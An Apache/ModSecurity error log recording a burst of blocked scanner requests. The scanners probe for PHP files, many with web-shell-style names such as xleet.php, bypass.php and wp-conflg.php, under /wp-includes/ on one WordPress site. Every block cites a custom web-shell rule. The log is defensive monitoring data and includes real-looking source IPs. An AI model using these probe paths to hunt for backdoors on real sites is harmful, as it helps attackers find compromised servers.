[Thu Apr 23 09:54:23.047337 2026] [:error] [pid 65000:tid 65037] [client 91.230.225.198:38993] [client 91.230.225.198] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/goto.php"] [unique_id "ael7z76vRb9j6psK2Zb6eAAAAgQ"]
[Thu Apr 23 09:54:28.326918 2026] [:error] [pid 64967:tid 64969] [client 91.230.225.18:21671] [client 91.230.225.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "ael71IAV4GfOOdX8QzouKQAAAYA"]
[Thu Apr 23 09:54:28.865535 2026] [:error] [pid 64998:tid 65020] [client 185.192.71.33:37913] [client 185.192.71.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp_class_datlib.php"] [unique_id "ael71IV5EysYcTLjmwh1JgAAAdI"]
[Thu Apr 23 09:54:29.427629 2026] [:error] [pid 42971:tid 42993] [client 91.230.225.19:35963] [client 91.230.225.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "ael71TEP2_5RswrH8bHYJwAAAAc"]
[Thu Apr 23 09:54:31.796263 2026] [:error] [pid 43083:tid 43099] [client 91.230.225.15:27967] [client 91.230.225.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Registry-private.php"] [unique_id "ael71zC5hrvNXosL83IT9QAAAM4"]
[Thu Apr 23 09:54:39.497743 2026] [:error] [pid 42972:tid 43033] [client 91.230.225.196:46951] [client 91.230.225.196] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-meta.php"] [unique_id "ael738OAb-3sOknsk4dCGQAAAFE"]
[Thu Apr 23 09:54:40.036164 2026] [:error] [pid 43083:tid 43102] [client 185.192.71.35:55191] [client 185.192.71.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/bypass.php"] [unique_id "ael74DC5hrvNXosL83IUdgAAANE"]
[Thu Apr 23 09:54:41.691983 2026] [:error] [pid 64998:tid 65020] [client 185.192.71.30:22171] [client 185.192.71.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/adminfus.php"] [unique_id "ael74YV5EysYcTLjmwh2JQAAAdI"]
[Thu Apr 23 09:54:42.523573 2026] [:error] [pid 25635:tid 25653] [client 185.192.71.33:36871] [client 185.192.71.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/group/wp-style.php"] [unique_id "ael74sRxv6UsgRGKB3L4WQAAAQ4"]
[Thu Apr 23 09:54:43.611318 2026] [:error] [pid 25635:tid 25653] [client 91.230.225.206:65147] [client 91.230.225.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-wolf-widget.php"] [unique_id "ael748Rxv6UsgRGKB3L4ZgAAAQ4"]
[Thu Apr 23 09:54:47.265609 2026] [:error] [pid 65000:tid 65039] [client 185.192.71.26:50065] [client 185.192.71.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "ael7576vRb9j6psK2Zb8ZgAAAgY"]
[Thu Apr 23 09:54:48.093374 2026] [:error] [pid 64998:tid 65019] [client 185.192.71.28:38993] [client 185.192.71.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/about.php"] [unique_id "ael76IV5EysYcTLjmwh2oAAAAdE"]
[Thu Apr 23 09:54:50.340508 2026] [:error] [pid 42972:tid 43034] [client 185.192.71.28:41107] [client 185.192.71.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-sup.php"] [unique_id "ael76sOAb-3sOknsk4dCdwAAAFI"]
[Thu Apr 23 09:54:51.504507 2026] [:error] [pid 42972:tid 43035] [client 91.230.225.15:23587] [client 91.230.225.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-t.api.php"] [unique_id "ael768OAb-3sOknsk4dCiAAAAFM"]
[Thu Apr 23 09:54:53.168447 2026] [:error] [pid 42971:tid 42988] [client 91.230.225.208:53459] [client 91.230.225.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/require-dynamic-blocks.php"] [unique_id "ael77TEP2_5RswrH8bHZDQAAAAI"]
[Thu Apr 23 09:54:54.799132 2026] [:error] [pid 42971:tid 42988] [client 185.92.25.113:23791] [client 185.92.25.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-rss-database.php"] [unique_id "ael77jEP2_5RswrH8bHZHAAAAAI"]
[Thu Apr 23 09:54:55.909304 2026] [:error] [pid 64998:tid 65007] [client 185.192.71.36:37771] [client 185.192.71.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-customize-manager-client.php"] [unique_id "ael774V5EysYcTLjmwh3NAAAAcU"]
[Thu Apr 23 09:54:57.468877 2026] [:error] [pid 42973:tid 43066] [client 91.230.225.200:48235] [client 91.230.225.200] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-boolean.php"] [unique_id "ael78W6I0QqmmmLTHE3wSAAAAJc"]
[Thu Apr 23 09:54:59.439562 2026] [:error] [pid 64998:tid 65015] [client 91.230.225.16:24827] [client 91.230.225.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/simi.php"] [unique_id "ael784V5EysYcTLjmwh3jAAAAc0"]
[Thu Apr 23 09:55:01.384679 2026] [:error] [pid 64998:tid 65011] [client 91.230.225.13:47535] [client 91.230.225.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine-session.php"] [unique_id "ael79YV5EysYcTLjmwh3zgAAAck"]
[Thu Apr 23 09:55:03.172828 2026] [:error] [pid 65000:tid 65030] [client 91.230.225.196:60621] [client 91.230.225.196] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.min.php"] [unique_id "ael7976vRb9j6psK2Zb9ZQAAAgE"]
[Thu Apr 23 09:55:03.738194 2026] [:error] [pid 42973:tid 43064] [client 91.230.225.204:64241] [client 91.230.225.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/file/wp-style.php"] [unique_id "ael7926I0QqmmmLTHE3whgAAAJU"]
[Thu Apr 23 09:55:04.621355 2026] [:error] [pid 64967:tid 64972] [client 91.230.225.12:20209] [client 91.230.225.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/class-IXR-cilent.php"] [unique_id "ael7-IAV4GfOOdX8QzovlwAAAYM"]
[Thu Apr 23 09:55:11.167018 2026] [:error] [pid 25635:tid 25656] [client 91.230.225.206:46711] [client 91.230.225.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/install.php"] [unique_id "ael7_8Rxv6UsgRGKB3L5bAAAARE"]
[Thu Apr 23 09:55:11.707166 2026] [:error] [pid 64998:tid 65018] [client 185.192.71.23:35321] [client 185.192.71.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/xleet.php"] [unique_id "ael7_4V5EysYcTLjmwh49AAAAdA"]
[Thu Apr 23 09:55:13.925890 2026] [:error] [pid 64998:tid 65009] [client 185.192.71.37:63875] [client 185.192.71.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/category-double.php"] [unique_id "ael8AYV5EysYcTLjmwh5OwAAAcc"]
[Thu Apr 23 09:55:15.081256 2026] [:error] [pid 42972:tid 43019] [client 91.230.225.20:37583] [client 91.230.225.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/db.php"] [unique_id "ael8A8OAb-3sOknsk4dDWQAAAEM"]
[Thu Apr 23 09:55:15.740544 2026] [:error] [pid 59700:tid 59702] [client 91.230.225.11:42057] [client 91.230.225.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/security.php"] [unique_id "ael8A5XyGZJFeAIDWtmTOAAAAUA"]
[Thu Apr 23 09:55:17.938366 2026] [:error] [pid 42972:tid 43016] [client 91.230.225.13:37337] [client 91.230.225.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-language-pack.php"] [unique_id "ael8BcOAb-3sOknsk4dDewAAAEA"]
[Thu Apr 23 09:55:19.828728 2026] [:error] [pid 65000:tid 65045] [client 91.230.225.13:21207] [client 91.230.225.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-walker-comment-client.php"] [unique_id "ael8B76vRb9j6psK2Zb-QgAAAgw"]
[Thu Apr 23 09:55:26.009471 2026] [:error] [pid 43083:tid 43109] [client 185.192.71.31:40627] [client 185.192.71.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-network-query-stat.php"] [unique_id "ael8DjC5hrvNXosL83IWrAAAANg"]
[Thu Apr 23 09:55:29.851407 2026] [:error] [pid 42971:tid 42986] [client 91.230.225.200:58873] [client 91.230.225.200] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-session-tokens-https.php"] [unique_id "ael8ETEP2_5RswrH8bHaUQAAAAA"]
[Thu Apr 23 09:55:30.997596 2026] [:error] [pid 42972:tid 43035] [client 91.230.225.197:46303] [client 91.230.225.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/lrs_dage.php"] [unique_id "ael8EsOAb-3sOknsk4dEXwAAAFM"]
[Thu Apr 23 09:55:31.825398 2026] [:error] [pid 25635:tid 25651] [client 185.192.71.35:61897] [client 185.192.71.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/as.php"] [unique_id "ael8E8Rxv6UsgRGKB3L6SwAAAQw"]
[Thu Apr 23 09:55:32.637618 2026] [:error] [pid 59700:tid 59722] [client 91.230.225.200:50051] [client 91.230.225.200] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/wp-conflg.php"] [unique_id "ael8FJXyGZJFeAIDWtmT-QAAAVQ"]
[Thu Apr 23 09:55:33.179285 2026] [:error] [pid 65000:tid 65032] [client 185.192.71.39:37815] [client 185.192.71.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/install.php"] [unique_id "ael8Fb6vRb9j6psK2Zb_CgAAAgM"]
[Thu Apr 23 09:55:34.780294 2026] [:error] [pid 42971:tid 42998] [client 185.192.71.38:21053] [client 185.192.71.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/db.php"] [unique_id "ael8FjEP2_5RswrH8bHaiwAAAAw"]
[Thu Apr 23 09:55:36.982964 2026] [:error] [pid 42973:tid 43051] [client 91.230.225.205:34897] [client 91.230.225.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/thickbox/about.php"] [unique_id "ael8GG6I0QqmmmLTHE3yBQAAAIg"]
[Thu Apr 23 09:55:38.422915 2026] [:error] [pid 64998:tid 65024] [client 91.230.225.196:22139] [client 91.230.225.196] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rk2.php"] [unique_id "ael8GoV5EysYcTLjmwh6sgAAAdY"]
[Thu Apr 23 09:55:40.681113 2026] [:error] [pid 59700:tid 59723] [client 91.230.225.199:56553] [client 91.230.225.199] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/past.php"] [unique_id "ael8HJXyGZJFeAIDWtmUTgAAAVU"]
[Thu Apr 23 09:55:41.800257 2026] [:error] [pid 64998:tid 65003] [client 185.92.25.113:64699] [client 185.92.25.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/edit-tags.php"] [unique_id "ael8HYV5EysYcTLjmwh7AwAAAcE"]
[Thu Apr 23 09:55:43.744423 2026] [:error] [pid 42971:tid 43006] [client 91.230.225.17:61183] [client 91.230.225.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/footer-default.php"] [unique_id "ael8HzEP2_5RswrH8bHbFAAAABQ"]
[Thu Apr 23 09:55:44.563598 2026] [:error] [pid 64967:tid 64974] [client 91.230.225.196:30243] [client 91.230.225.196] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-meta-request.php"] [unique_id "ael8IIAV4GfOOdX8QzoxngAAAYU"]
[Thu Apr 23 09:55:45.388315 2026] [:error] [pid 59700:tid 59714] [client 91.230.225.24:49473] [client 91.230.225.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/bypass.php"] [unique_id "ael8IZXyGZJFeAIDWtmUoQAAAUw"]
[Thu Apr 23 09:55:46.537546 2026] [:error] [pid 64967:tid 64972] [client 91.230.225.209:57747] [client 91.230.225.209] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/wp-login.php"] [unique_id "ael8IoAV4GfOOdX8QzoxrQAAAYM"]
[Thu Apr 23 09:55:50.573702 2026] [:error] [pid 64998:tid 65012] [client 91.230.225.11:39017] [client 91.230.225.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-ss.php"] [unique_id "ael8JoV5EysYcTLjmwh7tgAAAco"]
[Thu Apr 23 09:55:51.121704 2026] [:error] [pid 25635:tid 25647] [client 185.192.71.31:45481] [client 185.192.71.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/xsec1.php"] [unique_id "ael8J8Rxv6UsgRGKB3L7NQAAAQg"]
[Thu Apr 23 09:55:56.091220 2026] [:error] [pid 64967:tid 64985] [client 185.192.71.39:38667] [client 185.192.71.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/sad.php"] [unique_id "ael8LIAV4GfOOdX8QzoyAQAAAZA"]
[Thu Apr 23 09:55:56.638415 2026] [:error] [pid 65000:tid 65043] [client 185.192.71.35:46975] [client 185.192.71.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-loader-packages.min.php"] [unique_id "ael8LL6vRb9j6psK2ZYAfQAAAgo"]
[Thu Apr 23 09:55:57.731977 2026] [:error] [pid 43083:tid 43087] [client 185.192.71.21:36767] [client 185.192.71.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-phpmailer-beta.php"] [unique_id "ael8LTC5hrvNXosL83IYOgAAAMI"]
[Thu Apr 23 09:55:58.292366 2026] [:error] [pid 42972:tid 43024] [client 91.230.225.203:24957] [client 91.230.225.203] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ms-file.php"] [unique_id "ael8LsOAb-3sOknsk4dFTwAAAEg"]
